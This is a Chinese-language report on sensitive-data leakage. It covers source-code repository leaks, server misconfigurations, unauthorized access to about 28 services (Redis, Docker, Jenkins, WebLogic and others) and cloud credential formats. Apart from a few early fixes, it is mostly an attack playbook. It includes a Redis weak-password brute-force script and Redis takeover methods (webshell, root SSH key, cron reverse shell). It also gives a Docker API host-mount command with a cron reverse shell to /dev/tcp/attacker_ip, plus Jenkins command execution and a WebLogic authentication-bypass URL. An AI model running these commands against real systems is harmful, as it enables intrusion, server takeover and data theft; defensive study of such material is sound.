敏感数据泄露风险全景分析
本报告系统梳理了软件开发与运维中常见的敏感信息泄露场景,涵盖源代码泄露、服务器配置缺陷、组件未授权访问及云存储凭证泄露四大类,并提供检测方法与修复建议。
一、源代码泄露
1. Git 仓库泄露
使用 git init 初始化项目时,会在根目录生成 .git 文件夹,其中包含完整的版本历史、分支信息和代码快照。若直接将此目录部署到生产环境,攻击者可通过工具如 GitHack 恢复项目源码。
# 使用 GitHack 恢复源码
python GitHack.py http://target.com/.git/
修复措施: 生产环境彻底移除 .git 目录,或通过 Web 服务器配置(如 Nginx 的 deny 规则)禁止对其访问。
2. SVN 仓库泄露
SVN(Subversion)的 .svn 隐藏目录存储了版本变更信息。如果开发人员直接复制工作副本到 Web 目录,攻击者可借助 Seay SVN 工具读取 .svn/entries 文件,获取文件列表甚至完整源码。
修复措施: 使用 SVN 的"导出"功能发布代码,并删除服务器上所有 .svn 文件夹。
3. Mercurial (hg) 泄露
Mercurial 初始化时生成 .hg 目录。工具 dvcs-ripper 可递归提取其中的文件。
perl rip-hg.pl -v -u http://target.com/.hg/
4. CVS 泄露
CVS(Concurrent Versions System)在项目中留下 CVS/Root 和 CVS/Entries 文件,暴露服务器信息和文件结构。
http://target.com/CVS/Entries # 获取文件列表
使用 dvcs-ripper 中的 rip-cvs.pl 可批量获取。
5. Bazaar (bzr) 泄露
Bazaar 是另一款版本控制工具,默认生成 .bzr 目录。利用 dvcs-ripper 的 rip-bzr.pl 可挖掘其中信息。
6. 网站备份文件泄露
管理员将备份文件(如 .zip, .tar.gz, .bak)放置在 Web 目录中,可通过路径爆破工具(如御剑)直接下载。
7. WEB-INF/web.xml 泄露
Java Web 应用的 WEB-INF/web.xml 文件定义了 Servlet、过滤器和初始化参数。若能直接访问,通常会暴露类文件路径、数据库连接配置等。通过反编译获取的 class 文件可还原业务逻辑。
8. .DS_Store 文件泄露
macOS 自动生成的 .DS_Store 文件包含文件夹内文件列表信息。工具 ds_store_exp 可解析该文件,列出目录结构。
python ds_store_exp.py http://target.com/.DS_Store
9. SWP 临时文件泄露
使用 Vim 编辑文件时,若编辑器异常退出,会残留 .filename.swp 文件。直接访问并下载,移除 .swp 后缀即可获得源码。
10. GitHub 源码搜索泄露
开发者在 GitHub 等公开平台托管代码时,往往无意中嵌入了敏感信息(如密码、Token)。可通过正则表达式搜索获取。
# 搜索 GitHub 中 smtp+user 相关的代码
https://github.com/search?q=smtp+user+%40example.com&type=code
二、服务器配置泄露
1. Apache 示例文件泄露
Apache 自带的示例 Servlet 和 JSP 文件若未删除,可能提供调试信息。
/examples/servlets/servlet/CookieExample
/examples/jsp/snp/snoop.jsp
2. IIS 短文件名泄露
IIS 支持 8.3 短文件名,攻击者可通过特定请求猜解目录和文件名称。工具 IIS_shortname_Scanner 可自动化此过程。
3. Tomcat 大小写泄露
Tomcat 中将 JSP 文件后缀名改为大写(如 .jsp → .JSP),即可直接查看源码。
三、组件未授权访问
1. Druid 未授权访问
阿里 Druid 连接池的管理页面若未加权限,可泄露 SQL 监控、Web Session 等数据。
# 常见访问路径
ip/druid/index.html
ip/druid/sql.html
ip/druid/websession.json
利用泄露的 Session 可进一步伪造用户身份。
2. Redis 未授权访问/弱口令
Redis 绑定在 0.0.0.0:6379 且无密码时,可远程执行任意操作。
批量检测脚本示例:
import socket, sys
PASSWORD_DIC = ['redis','root','admin','123456']
def check(ip, port, timeout=10):
try:
s = socket.socket()
s.settimeout(timeout)
s.connect((ip, int(port)))
s.send(b"INFO\r\n")
result = s.recv(1024)
if b"redis_version" in result:
return "未授权访问"
elif b"Authentication" in result:
for pwd in PASSWORD_DIC:
s = socket.socket()
s.settimeout(timeout)
s.connect((ip, port))
s.send(f"AUTH {pwd}\r\n".encode())
resp = s.recv(1024)
if b'+OK' in resp:
return f"弱口令:{pwd}"
except Exception:
return None
if __name__ == "__main__":
print(check(sys.argv[1], int(sys.argv[2])))
2.1 利用方法
- 写入 WebShell: 更改
dir和dbfilename后写入 PHP 代码。 - SSH 公钥认证: 若以 root 运行,可将公钥写入
/root/.ssh/authorized_keys,实现免密登录。 - Cron 反弹 Shell: 写入定时任务到
/var/spool/cron/root。 - 主从复制 RCE: 利用 Redis 主从同步加载恶意 .so 文件(工具:redis-rogue-server)。
3. MongoDB 未授权访问
MongoDB 默认无认证,端口 27017 暴露在公网即可被直接操作。使用 NoSQLBooster 等图形化工具可快速连接并导出数据。
4. JavaMelody 泄露
JavaMelody 监控页面默认位于 /monitoring,可能暴露系统性能、HTTP 请求等敏感数据。
5. Swagger 扫描
Swagger API 文档页面若未保护,可泄露接口参数、返回结构。
# 常见路径
/swagger-ui.html
/v1.x/swagger-ui.html
6. Kibana 未授权访问
Kibana 默认端口 5601,若未加认证,可直接搜索 Elasticsearch 中的全部数据。
7. Spring Boot Actuator 配置不当
Actuator 暴露了大量监控和诊断端点。
# 关键端点
/env # 环境变量(含数据库密码)
/beans # Spring Bean 关系
/trace # HTTP 请求跟踪(可能含 Token)
/heapdump # JVM 内存快照(可提取密码)
进阶利用: 结合 /jolokia/exec 端点与 Logback 的 reloadByURL 可触发 XXE 或任意文件读取。
8. Elasticsearch 未授权访问
端口 9200 未受控时,可枚举索引、查询文档。
# 常用 API
/_cat/indices
/_search?q=password
9. Jenkins 未授权访问
/script 页面可直接执行 Groovy 脚本,实现命令执行。
# 在 script 控制台中执行系统命令
println "whoami".execute().text
10. JBoss 未授权访问
默认访问 /jmx-console 无需密码,可通过 JexBoss 部署 War 包获得服务器控制权。
11. Hadoop 未授权
YARN ResourceManager 的 REST API(端口 8088)可提交恶意应用,反弹 Shell。
# 通过 Py 脚本提交 application
requests.post(url + 'ws/v1/cluster/apps', json={...})
12. VNC 未授权访问
VNC 服务(端口 5900/5901)如无密码,可直接使用 VNC Viewer 连接。
利用方法:
直接输入 IP 和端口,无需认证即可控制远程桌面。
13. Docker 未授权
Docker daemon 监听在 2375 端口时,可通过 API 创建挂载宿主机根目录的容器。
sudo docker -H tcp://target:2375 run -it -v /:/mnt nginx bash
# 写入 Cron 任务实现反弹 Shell
echo '* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
14. Zookeeper 未授权
端口 2181 上执行 envi 命令可获取系统信息。
echo envi | nc target 2181
15. Rsync 未授权
端口 873 可匿名访问模块。
# 列出模块
rsync rsync://target:873/
# 下载文件
rsync -av rsync://target:873/src/etc/passwd .
16. ActiveMQ 未授权
控制台端口 8161 默认凭据 admin/admin,可能导致 RCE。
17. Dubbo 未授权
默认端口 20880/2181 可直接访问,暴露服务注册信息。
18. Jupyter Notebook 未授权
若未设置密码,可在 New → Terminal 中获取 OS Shell。
19. Kubernetes API Server 未授权
直接访问 API 端口(6443/443)可列出所有 Pod。
curl https://target:6443/pods
20. LDAP 未授权
端口 389 或 636 可使用 LDAP Browser 工具直接浏览目录内容。
21. Memcached 未授权
端口 11211 可通过 telnet 连接,使用 stats 命令获取统计信息。
22. NFS 未授权
使用 showmount -e target 可列出共享目录,并可挂载到本地。
23. RabbitMQ 未授权
管理界面端口 15672 默认凭据 guest/guest。
24. Solr 未授权
访问 /solr/admin 可获取配置信息与数据。
25. Spark 未授权
使用 Metasploit 模块 exploit/linux/http/spark_unauth_rce 可远程执行命令。
26. WebLogic 未授权
CVE-2020-14882/14883 组合可绕过认证并执行任意命令。
# 绕过 URL
http://target:7001/console/css/%252e%252e%252fconsole.portal
27. Zabbix 未授权
默认端口 10051,若未配置鉴权,可获取监控数据和执行脚本。
28. CouchDB 未授权
端口 5984 直接暴露数据库,访问 /_config 可获取配置。
四、云存储凭证泄露
以下为各大云厂商的典型凭证格式,一旦泄露可导致数据完全被窃取。
- 阿里云:
accessKeyId,accessKeySecret - 华为云:
huawei.oss.ak,huawei.oss.sk,huawei.oss.bucket.name - 谷歌云: JSON 格式凭证,包含
type,project_id,private_key - 微软 Azure:
AccountName,AccountKey - 腾讯云:
secretId,secretKey - AWS S3:
aws_access_key_id,aws_secret_access_key,aws_session_token